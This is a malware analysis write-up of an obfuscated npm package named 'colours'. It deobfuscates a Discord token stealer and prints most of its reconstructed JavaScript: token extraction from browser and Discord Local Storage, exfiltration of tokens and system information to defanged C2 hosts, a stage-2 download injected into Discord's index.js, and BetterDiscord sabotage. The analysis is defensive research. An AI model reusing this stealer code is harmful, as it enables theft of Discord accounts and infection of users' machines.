Colours — NPM
Introduction
Skimming through the files present in this package, the colours.js file looks heavily obfuscated whilst other files seem like normal files. Therefore, the analysis starts with making sense of what this file does. Going through the file, the function names give a brief idea of what the file is doing, however, to be sure, let's start by analysing the init function first since that is the entry point.
There are a lot of obfuscation techniques being used, the primary technique identified was hex-encoded strings. Using a small Python script, these strings were converted to ASCII.
\x67\x65\x74 corresponds to GET, and so on. This pattern is used extensively throughout the malware to hide string literals from static analysis.
Deobfuscation & String Table Analysis
The init() Function
The entry point init() immediately reveals the obfuscation strategy. It defines a variable _0x6f50d1 which is assigned to _0x5243c9. Following the alias chain reveals:
These are one and the same. The init() function uses Object[string_from_table(0x181)](styles)[string_from_table(0x169)] to define a getter that calls build() — the actual payload loader.
String Lookup Mechanism
Inspecting _0x3f08 reveals that the return value for this function is a function itself. It takes in 2 parameters, subtracts 0x10b from the first parameter, and uses the result as an index into a word array. This is essentially a string lookup table.
function string_from_table(_0x4996ee, _0x5ba1c9) {
var word_array_2 = word_array();
return string_from_table = function(first_parameter, second_parameter) {
first_parameter_minus_267 = first_parameter - 0x10b;
var fetched_from_word_array = word_array_2[first_parameter_minus_267];
return fetched_from_word_array;
}, string_from_table(_0x4996ee, _0x5ba1c9);
}
The word array itself contains a mix of URLs, function names, filesystem paths, and string constants. Three URLs immediately stand out:
URLs Found in Word Array
With this understanding, all subsequent alias variables were renamed using the pattern string_from_table → string_from_table_2, and _0x3d05de → word_array_2 to make reversing easier.
Going back to the init function with these renames, string_from_table_3 is just an alias for string_from_table, meaning 0x10b is subtracted from 0x181 and then passed to the word array as an index.
Array Shuffling & Runtime Resolution
Another interesting observation is that the word array rearranges itself at runtime. An algorithm defined at the top of the file performs a push/shift shuffle loop:
(function(_0x1c7ced, _0x2d1357) {
var _0x80c8ba = string_from_table,
_0x19e952 = _0x1c7ced();
while (!![]) {
try {
var _0x2e2662 = -parseInt(_0x80c8ba(0x177)) / 0x1 * ...
if (_0x2e2662 === _0x2d1357) break;
else _0x19e952['push'](_0x19e952['shift']());
} catch (_0x3f8c73) {
_0x19e952['push'](_0x19e952['shift']());
}
}
}(word_array, 0x59eeb));
This makes static reversing tough. However, since the initial analysis confirmed no immediately dangerous invocations in the string resolution code, it can be safely debugged at runtime. A Windows VM was created with all network adapters removed, and the functions were loaded step-by-step in a browser console:
- Load
word_array()into the console - Load
string_from_table() - Load the mixer/shuffler function
- Define
string_from_table_2 = string_from_table - Resolve individual string lookups like
string_from_table_4(0x187)→'appdata'
Function Analysis
pwnBetterDiscord()
Resolving the obfuscated lookups, string_from_table_4(0x187) yields 'appdata' and string_from_table_4(0x146) yields '\\BetterDiscord\\data\\betterdiscord.asar'. Reconstructing the function:
async function pwnBetterDiscord() {
var string_from_table_4 = string_from_table_2,
if (fs.existsSync(process.env.appdata + '\\BetterDiscord\\data\\betterdiscord.asar')) {
fs.writeFileSync(process.env.appdata + '\\BetterDiscord\\data\\betterdiscord.asar',
buf_replace(fs.readFileSync(process.env.appdata +
'\\BetterDiscord\\data\\betterdiscord.asar'), 'api/webhooks', 'kaka'));
} else return;
}
betterDiscord.asar file exists in AppData. If it doesn't exist, the function returns. If it does exist, it reads the entire file and replaces all occurrences of "api/webhooks" with "kaka", then re-writes the file. This effectively breaks any legitimate webhook functionality in BetterDiscord.startDiscord()
This function is a straightforward launch function. It iterates through the runningDiscords array and restarts each Discord variant:
async function startDiscord() {
runningDiscords.forEach(_0x2ac730 => {
var _0x127852 = string_from_table;
let _0x3fc7e6 = LOCAL + '\\' + _0x2ac730 + '\\Update.exe --processStart ' +
_0x2ac730 + ".exe";
exec(_0x3fc7e6, _0x467042 => {
if (_0x467042) return;
});
});
};
It constructs the path to each Discord variant's Update.exe and uses --processStart to relaunch the application. This is called after infection to ensure the compromised Discord clients are running.
killDiscord()
This function loops through all running Discord applications and kills them using taskkill:
async function killDiscord() {
var _0x3d8d66 = string_from_table_2;
runningDiscords.forEach(_0x4e0f99 => {
var _0x1376f4 = _0x3d8d66;
exec('taskkill /IM ' + _0x4e0f99 + '.exe /F', _0x1c5cc0 => {
if (_0x1c5cc0) return;
});
}),
config['inject-notify'] == true && injectPath[length] != 0x0
&& injectNotify(), infect(), pwnBetterDiscord();
};
After killing the processes, it checks if inject-notify is true in the config and if injectPath.length is non-zero. Using the a() && b() && c() left-to-right evaluation pattern, it conditionally calls injectNotify(), then always calls infect() and pwnBetterDiscord().
taskkill /F. Then checks if inject-notify is true and inject path length is non-zero. If both resolve to true, it calls injectNotify(), followed by infect() and pwnBetterDiscord().injectNotify()
This function scans the victim's Local Storage across 13 browser and Discord clients:
- Discord variants: Discord, Canary, PTB, Lightcord
- Browsers: Opera, Opera GX, Amigo, Torch, Kometa, Edge, Chrome, Yandex, Brave
For each application, it searches for .ldb files in their Local Storage directories. It reads the contents and runs two regex patterns to extract Discord tokens: standard tokens and MFA tokens. Every token found is pushed into an array.
The function then gathers system information via os.hostname(), os.arch(), CPU details, and endianness. Everything is sent to the C2 server:
// Exfiltration destination
hxxps://kauelindo[.]xyz/manhattan
// Data sent as custom headers:
// 1. Array of extracted Discord tokens
// 2. System information (hostname, arch, CPU, endianness)
listDiscord()
After deobfuscation, this function checks for the following Discord executables running on the system:
async function listDiscords() {
exec('tasklist', async (_0x1f7a53, _0x54e01b, _0x8c4c39) => {
_0x54e01b.includes('Discord.exe') && runningDiscords.push('discord');
_0x54e01b.includes('DiscordCanary.exe') && runningDiscords.push('discordcanary');
_0x54e01b.includes('DiscordDevelopment.exe') && runningDiscords.push('discorddevelopment');
_0x54e01b.includes('DiscordPTB.exe') && runningDiscords.push('discordptb');
config["logout"] == 'instant'
? killDiscord()
: (config['inject-notify'] == true && injectPath.length != 0x0
&& injectNotify(), infect(), pwnBetterDiscord());
});
};
It pushes discovered Discord processes into the runningDiscords array. Then it checks the logout config: if set to 'instant', it immediately calls killDiscord(). Otherwise, it follows the same conditional chain — calling injectNotify() if conditions are met, then infect() and pwnBetterDiscord().
runningDiscords array. Checks if the logout config is 'instant' and kills Discord if true, else calls injectNotify(), then calls infect() and pwnBetterDiscord().infect()
Before examining this function, the variable superstarlmao needs to be resolved:
superstarlmao = string_from_table_2(0x188),
// Resolves to:
'hxxps://kauedaocu[.]space/api/webhooks/evilKaue'
The infect() function begins by making a GET request to hxxps://pegapiranha[.]com/kauanaperigosa to fetch the second-stage payload data. It then iterates through all inject paths and writes the malicious payload to each, replacing configuration placeholders with actual values:
async function infect() {
var _0x3d661b = string_from_table_2;
await axios.get('hxxps://pegapiranha[.]com/kauanaperigosa').then(async _0x41b22d => {
let malicious_Data_im_guessing = _0x41b22d.data;
injectPath.forEach(_0x3d615c => {
fs.writeFileSync(_0x3d615c,
malicious_Data_im_guessing
.replace('%WEBHOOK_LINK%', superstarlmao)
.replace('%INITNOTII%', config['init-notify'])
.replace('%LOGOUT%', config['logout'])
.replace('%LOGOUTNOTIY%', config['logout-notify'])
.replace('3447704', config['embed-color'])
.replace('%DISABLEQRCODEX%', config['disable-qr-code']), {
'encoding': 'utf8',
'flag': 'w'
});
if (config['init-notify'] == true) {
if (!fs.existsSync(_0x3d615c.replace('index.js', 'init')))
fs.mkdirSync(_0x3d615c.replace('index.js', 'init'), 0x1e4);
}
if (config['logout'] != false) {
if (!fs.existsSync(_0x3d615c.replace('index.js', 'bin'))) {
fs.mkdirSync(_0x3d615c.replace('index.js', 'bin'), 0x1e4);
if (config['logout'] == 'instant')
startDiscord();
}
}
});
})['catch'](() => {});
};
Key behaviors:
- Fetches the stage-2 payload from
pegapiranha[.]com - Overwrites the webhook link with the attacker's webhook:
hxxps://kauedaocu[.]space/api/webhooks/evilKaue - Replaces configuration placeholders (
%WEBHOOK_LINK%,%INITNOTII%,%LOGOUT%, etc.) with values from the config object - Creates
initandbintracker directories alongside the infectedindex.jsfiles to track infection state - If logout is set to
'instant', restarts Discord after infection
index.js files with a malicious payload fetched from the C2 server. Leaves tracker directories (init, bin) to identify what has already been infected.Runtime Array Population
During analysis, several arrays are populated at runtime that store important data about Discord processes. The initialization is straightforward:
var LOCAL = process.env.LOCALAPPDATA,
discords = [],
injectPath = [],
runningDiscords = [];
Population happens in two stages. First, the code scans LOCALAPPDATA for any directory containing 'iscord' and pushes matches to the discords array:
fs.readdirSync(LOCAL).forEach(_0x2532c9 => {
if (_0x2532c9.includes('iscord')) discords.push(LOCAL + '\\' + _0x2532c9);
else return;
});
Then, for each discovered Discord installation, it searches for index.js files inside the discord_desktop_core module directory using glob pattern matching:
discords.forEach(function(_0x467fa2) {
let _0x5475e7 = '' + _0x467fa2 +
'\\app-*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index.js';
glob['sync'](_0x5475e7).map(_0x97be40 => {
injectPath.push(_0x97be40);
});
}), listDiscords();
Finally, the global configuration and imports are defined:
var colors = {};
module.exports = colors;
var glob = require('glob');
const fs = require('fs'),
{ exec } = require('child_process'),
{ default: axios } = require('axios'),
buf_replace = require('buffer-replace'),
superstarlmao = string_from_table_2(0x188),
config = {
'logout': 'instant',
'inject-notify': 'true',
'logout-notify': 'true',
'init-notify': 'true',
'embed-color': 0x54bf3,
'disable-qr-code': 'true'
};
colours.js executes → Deobfuscates string table at runtime → Scans for Discord installations in LOCALAPPDATA → Enumerates index.js inject targets → Lists running Discord processes → Fetches stage-2 payload from C2 → Infects all Discord index.js files → Extracts tokens from 13 browser/Discord Local Storage paths → Exfiltrates tokens + system info to C2 → Sabotages BetterDiscord webhooks → Restarts Discord to activate injection.